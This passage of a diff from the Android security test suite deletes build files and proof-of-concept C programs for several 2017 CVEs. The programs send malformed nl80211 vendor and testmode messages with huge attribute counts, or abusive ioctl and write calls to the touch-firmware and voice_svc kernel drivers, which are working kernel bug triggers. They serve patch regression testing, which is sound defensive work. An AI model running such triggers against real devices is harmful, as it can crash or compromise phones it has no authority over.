-  int if_index = if_nametoindex("wlan0");
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, QCA_NL80211_VENDOR_SUBCMD_ROAM);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_REQ_ID, 123);
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_SUBCMD,
-              QCA_WLAN_VENDOR_ATTR_ROAM_SUBCMD_SET_BLACKLIST_BSSID);
-
-  nla_put_u32(msg,
-              QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_NUM_BSSID,
-              0xffffffff);
-
-  rret2 =
-      nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS);
-  if (!rret2) {
-    return 1;
-  }
-
-  for (i = 0; i < 64; ++i) {
-    rret3 = nla_nest_start(msg,
-                           QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS);
-    if (!rret3) {
-      return 1;
-    }
-    nla_put(msg, QCA_WLAN_VENDOR_ATTR_ROAMING_PARAM_SET_BSSID_PARAMS_BSSID,
-            sizeof(mac_in), &mac_in);
-    nla_nest_end(msg, rret3);
-  }
-
-  nla_nest_end(msg, rret2);
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-  if (getuid() != 0) {
-    return -1;
-  }
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    perror("genl_connect");
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-#define NL80211_CMD_GET_WIPHY 1
-#define NL80211_CMD_SET_STATION 18
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0441/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0441/Android.mk
deleted file mode 100644
index f8fface..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0441/Android.mk
+++ /dev/null
@@ -1,43 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0441
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES:= \
-	$(TOP)/external/libnl/include/ \
-	$(TOP)/external/libnl/lib/ \
-
-LOCAL_SHARED_LIBRARIES:= libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0441/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0441/poc.c
deleted file mode 100644
index cb65ce4..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0441/poc.c
+++ /dev/null
@@ -1,206 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>          /* See NOTES */
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-#define KGSL_IOC_TYPE 0x09
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  /* keep last */
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE 32
-#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID 1
-#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE \
-  27
-#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE \
-  28
-#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING 29
-#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP 30
-#define QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM 26
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  struct nlattr *rret1;
-  unsigned char oper_classes[253];
-
-  unsigned char hb_params[512];
-
-  struct nl80211_sta_flag_update flags;
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, QCA_NL80211_VENDOR_ID);
-
-  nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD,
-              QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_SIGNIFICANT_CHANGE);
-
-  rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID,
-              1);
-  nla_put_u32(
-      msg,
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_RSSI_SAMPLE_SIZE,
-      1);
-  nla_put_u32(
-      msg,
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_LOST_AP_SAMPLE_SIZE,
-      1);
-  nla_put_u32(
-      msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_MIN_BREACHING,
-      1);
-  nla_put_u32(msg,
-              QCA_WLAN_VENDOR_ATTR_EXTSCAN_SIGNIFICANT_CHANGE_PARAMS_NUM_AP,
-              0xaaaaaa9);
-
-  rret1 = nla_nest_start(msg, QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM);
-
-  if (!rret1) {
-    return 1;
-  }
-
-  nla_nest_end(msg, rret1);
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-  if (getuid() != 0) {
-    return -1;
-  }
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-#define NL80211_CMD_GET_WIPHY 1
-#define NL80211_CMD_SET_STATION 18
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0445/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0445/Android.mk
deleted file mode 100644
index 7cd8622..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0445/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License
-
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0445
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0445/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0445/poc.c
deleted file mode 100644
index b34b328..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0445/poc.c
+++ /dev/null
@@ -1,56 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#define TOUCH_FWU_IOCTL_CODE (0x81)
-#define FW_UPDATE_PROCCESS _IO(TOUCH_FWU_IOCTL_CODE, 1)
-#define FW_FILE_SIZE _IOW(TOUCH_FWU_IOCTL_CODE, 2, uint32_t)
-#define FW_FILE_REQUEST _IO(TOUCH_FWU_IOCTL_CODE, 3)
-#define FW_LOAD_DONE _IO(TOUCH_FWU_IOCTL_CODE, 4)
-#define FW_UPDATE_BYPASS _IO(TOUCH_FWU_IOCTL_CODE, 5)
-
-int main(void) {
-  int fd, ret = 0, cmd;
-  char *buff;
-
-  fd = open("/dev/touch_fwu", O_RDWR);
-  if (fd == -1) {
-    return -1;
-  }
-
-  cmd = FW_FILE_SIZE;
-  ret = ioctl(fd, cmd, 0x100);
-
-  cmd = FW_FILE_REQUEST;
-  ret = ioctl(fd, cmd, 0);
-
-  buff = malloc(0x1000000);
-
-  ret = write(fd, buff, 0x100000);
-
-  close(fd);
-
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
deleted file mode 100644
index 445754c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0451/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0451
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact                                                                            \
- 
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
-
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
deleted file mode 100644
index 88b7378..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0451/poc.c
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
-#include <sys/stat.h>
-#include <sys/ioctl.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <string.h>
-#include <dlfcn.h>
-#include <sys/time.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/resource.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <unistd.h>
-#include <sched.h>
-#include <stdlib.h>
-#include <errno.h>
-
-#define MSG_REQUEST  0x2
-
-struct voice_svc_write_msg {
-    __u32 msg_type;
-    __u8 payload[0];
-};
-
-int main() {
-    int g_fd = 0;
-    char* dev_path = "/dev/voice_svc";
-
-    g_fd = open(dev_path, O_RDWR);
-    if (g_fd < 0) {
-        return -1;
-    }
-
-    int size = sizeof(struct voice_svc_write_msg) + 4;
-    char* msg = (char*)malloc(size);
-
-    (msg + 4)[0] = 'A';
-    (msg + 4)[1] = 'A';
-    (msg + 4)[2] = 'A';
-    (msg + 4)[3] = 'A';
-    ((struct voice_svc_write_msg*)msg)->msg_type = MSG_REQUEST;
-
-    int i;
-    for (i = 0; i < 20; ++i) {
-        write(g_fd, msg, size);
-        sleep(1);
-    }
-
-    return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0453/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0453/Android.mk
deleted file mode 100644
index 471e72e..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0453/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0453
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0453/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0453/poc.c
deleted file mode 100644
index 999f9d0..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0453/poc.c
+++ /dev/null
@@ -1,176 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define LOG_TAG "nexus6ppppp"
-#define LOG_D(...)                                                \
-  do {                                                            \
-    __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__); \
-    printf(__VA_ARGS__);                                          \
-  } while (0)
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-#define KGSL_IOC_TYPE 0x09
-
-struct kgsl_perfcounter_query_compat {
-  unsigned int groupid;
-  unsigned int countables;
-  unsigned int count;
-  unsigned int max_counters;
-  unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
-  unsigned int groupid;
-  unsigned int countable;
-  unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
-  _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
-  unsigned int reads;
-  unsigned int count;
-  unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
-  WLAN_HDD_TM_ATTR_INVALID = 0,
-  WLAN_HDD_TM_ATTR_CMD = 1,
-  WLAN_HDD_TM_ATTR_DATA = 2,
-  WLAN_HDD_TM_ATTR_STREAM_ID = 3,
-  WLAN_HDD_TM_ATTR_TYPE = 4,
-  WLAN_HDD_TM_ATTR_AFTER_LAST,
-  WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
-  WLAN_HDD_TM_CMD_WLAN_FTM = 0,
-  WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-int test(void);
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
-                  u_int8_t genl_version) {
-  struct nl_msg *msg;
-  int ret = -1;
-  unsigned char dst[ETH_ALEN];
-  struct nlattr *rret;
-  unsigned char oper_classes[253];
-  unsigned char hb_params[800];
-
-  struct nl80211_sta_flag_update flags;
-
-  msg = nlmsg_alloc();
-  int if_index = if_nametoindex("wlan0");
-
-  genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-  nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-  rret = nla_nest_start(msg, NL80211_ATTR_TESTDATA);
-
-  if (!rret) {
-    return 1;
-  }
-
-  nla_put_u32(msg, WLAN_HDD_TM_ATTR_CMD, WLAN_HDD_TM_CMD_WLAN_HB);
-
-  nla_put(msg, WLAN_HDD_TM_ATTR_DATA, sizeof(hb_params), &hb_params);
-
-  nla_nest_end(msg, rret);
-
-  ret = nl_send_auto_complete(nl_sk, msg);
-
-  return 0;
-}
-
-#define AID_INET 3003
-#define AID_NET_RAW 3004
-#define AID_NET_ADMIN 3005
-
-int test() {
-  int fd = 0;
-  int i = 0;
-  int j = 0;
-  int ret = 0;
-  char *mem;
-  int family_id = 0;
-  struct audio_cal_basic *acb;
-  struct sockaddr_nl saddr;
-  int test = 0x1234;
-  if (getuid() != 0) {
-    return -1;
-  }
-
-  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
-  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
-  setuid(2000);
-
-  nl_sk = nl_socket_alloc();
-  ret = genl_connect(nl_sk);
-  if (ret != 0) {
-    return -1;
-  }
-
-  family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
-#define NL80211_CMD_GET_WIPHY 1
-#define NL80211_CMD_SET_STATION 18
-
-  ret = send_testmode(family_id, getpid(), NL80211_CMD_TESTMODE, 1);
-  return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0456/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0456/Android.mk
deleted file mode 100644
index 75cbb98..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0456/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2017-0456
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
